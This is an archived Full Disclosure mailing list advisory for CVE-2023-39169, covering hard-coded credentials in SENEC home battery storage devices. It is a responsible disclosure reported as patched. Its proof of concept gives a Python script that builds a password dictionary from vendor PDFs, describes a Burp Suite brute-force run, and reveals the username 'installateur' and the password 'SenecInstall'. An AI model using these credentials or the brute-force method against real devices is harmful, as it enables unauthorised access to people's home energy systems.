Senec Inverters Home V1, V2, V3 Home & Hybrid Use of Hard-coded Credentials - CVE-2023-39169

Related Vulnerabilities: CVE-2023-39169   CVE-2023-39167   CVE-2023-39168  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="12"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#10">By Date</a>
<a href="13"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="12"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#10">By Thread</a>
<a href="13"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title"> Senec Inverters Home V1, V2,	V3 Home &amp; Hybrid Use of Hard-coded Credentials - CVE-2023-39169</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: Phos4Me via Fulldisclosure &lt;fulldisclosure () seclists org&gt;


<em>Date</em>: Mon, 13 Nov 2023 10:50:12 +0000


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Advisory ID: Ph0s-2023-003
Product: EnBw - SENEC legacy storage box: V1-V3
Manufacturer: SENEC - a part of EnBw
Affected Version(s): Firmware: all (as of 2023-06-19)
Tested Version(s): current
Vulnerability Type: CWE-307: Improper Restriction of Excessive
Authentication Attempts
CWE-798: Use of Hard-coded Credentials

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Risk Level:
CVSS v3.1 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Manufacturer Risk Level Rating:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:H/RL:U/RC:C
Overall CVSS Score: 8.6

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Solution Status: Fixed
Manufacturer Notification: 2023-06-05
Public Disclosure: 2023-11-01
CVE Reference: CVE-2023-39169
Author of Advisory: Ph0s[4], R0ckE7

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">********************************************************************************

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Overview:
Foreword:
This vulnerability was reported to the enbw-cert. we would like to
thank enbw-cert for taking care of the vulns and patch the systems.
we decided to publish when most of the reported vulns are patched
to make sure nobody is harmed when 3rdparys exploit the mentioned vulns.

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">About Senec:
We are SENEC

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">We have been the EnBW energy independence experts since 2018 – but we have
put our heart and soul into guiding customers on the route to independence
since SENEC was founded in 2009. Our passion lies in actively promoting the
energy transition with innovative ideas and pioneering products. And,
because we don’t do things by halves, our unwavering ambition is to create
integrated solutions that enable you to enjoy the highest possible degree
of independence and sustainability through self-generation of solar
electricity.

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">About SENEC Home:

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">SENEC.Home: The smart electricity storage device for your home

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">SENEC.Home is the heart of the your sustainable, affordable supply of solar
electricity. The smart battery storage device stores excess electricity
generated by your PV system so that you can use it when you need it – such as
when your household’s energy consumption rises in the evening, or on rainy days
when your PV system generates less power.

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">********************************************************************************

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Vulnerability Details:

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Based on the previously identified hard-coded username in CVE-2023-39167 and
CVE-2023-39168 all technical requirements were met to target the password.
Since the username installateur is quite straightforward in the sense of
guessable, it was decided to perform a dictonary-type brute force attack.
For this purpose, all related PDF documents were downloaded to create a password
list specifically tailored to SENEC.Inverter.
Source of the Documents: <a rel="nofollow" href="https://senec.com/au/company/downloads">https://senec.com/au/company/downloads</a>

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">********************************************************************************

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Proof of Concept (PoC):

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">The attack consists of the following steps:

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">1. parse the documents :
import argparse
import glob
import string
import fitz

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">def get_senec_password(pdf_directory, pwd_prefix, pwd_suffix):
pdf_text = ""
for file in glob.glob(f"{pdf_directory}/*.pdf"):
pdf = fitz.open(file)
for page in pdf:
pdf_text += page.get_text()

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">pdf_words = set(
[word.strip(string.punctuation) for word in pdf_text.split() if word.strip(string.punctuation).isalnum()]
)
senec_password = set(
[f"{pwd_prefix}{word}{pwd_suffix}" for word in pdf_words if not word.isnumeric()]
)

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">with open("senec-password.txt", mode="w", encoding="utf-8") as fd:
fd.write('\n'.join(senec_password))

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">if name == 'main':
parser = argparse.ArgumentParser(description="Generate SENEC.Inverter password dictionary")
parser.add_argument("-d", "--pdf-directory", type=str, action="store", default="pdf", required=False,
help="pdf storage location")
parser.add_argument("-p", "--pwd-prefix", type=str, action="store", default="Senec", required=False,
help="password prefix")
parser.add_argument("-s", "--pwd-suffix", type=str, action="store", default="", required=False,
help="password suffix")
args = parser.parse_args()
get_senec_password(args.pdf_directory, args.pwd_prefix, args.pwd_suffix)

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">2. work with the output:
The Python script extracts all words from all PDF documents and allows to add a prefix
and/or suffix to generate passwords according to the pattern {prefix}{word}{suffix} ,
such as the following:
***** cut *******
Senecmoribundity
SenecCleaning
Senecdusts
Senecclinical
Senecaggregation
Senecstubborn
Senecstorages
SenecDecommissioning
SenecInstall
Senecmany
***** cut ********

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">3) use the list within burpsuite
The password lists were then used in Burp Suite Professional, a tool
specifically designed for web application security testing, to perform an
automated brute force attack.
The list shown above as an excerpt with the prefix Senec and no suffix was
finally successful in executing the attack.
It could be determined that the password "SenecInstall" is valid for all
SENEC.Inverter devices.

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Solution:
Patched by Manufacturer
(Rolled out until September 11, 2023)

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Disclosure Timeline:

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">2022-06-01: Vulnerability discovered
2023-06-05: Vulnerability reported to manufacturer
2023-09-11: Patch rollout by manufacturer to affected devices
2023-11-01: Public disclosure of vulnerability

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">************************************************************************

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Researcher:
Ph0s[4], R0ckE7

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">************************************************************************

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Disclaimer:

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible.

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Copyright:

</pre></blockquote></blockquote><pre style="margin: 0em;">
</pre><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><blockquote style="border-left: #5555EE solid 0.2em; margin: 0em; padding-left: 0.85em"><pre style="margin: 0em;">Creative Commons - Attribution (by) - Version 4.0
URL: <a rel="nofollow" href="https://creativecommons.org/licenses/by/4.0/deed.en">https://creativecommons.org/licenses/by/4.0/deed.en</a>
_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="https://seclists.org/fulldisclosure/">https://seclists.org/fulldisclosure/</a></pre></blockquote></blockquote><p><strong>Attachment:
<a href="att-10/publickey_-_Phos4Me%40proton_me_-_0x3F4F673D_asc.bin"><tt>publickey - Phos4Me@proton.me - 0x3F4F673D.asc</tt></a></strong>

<em>Description:</em> </p>
<p><strong>Attachment:
<a href="att-10/signature_asc.bin"><tt>signature.asc</tt></a></strong>

<em>Description:</em> OpenPGP digital signature</p>
<pre style="margin: 0em;">_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="https://seclists.org/fulldisclosure/">https://seclists.org/fulldisclosure/</a></pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="12"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#10">By Date</a>
<a href="13"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="12"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#10">By Thread</a>
<a href="13"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong> Senec Inverters Home V1, V2,	V3 Home &amp; Hybrid Use of Hard-coded Credentials - CVE-2023-39169</strong> <em>Phos4Me via Fulldisclosure (Nov 27)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>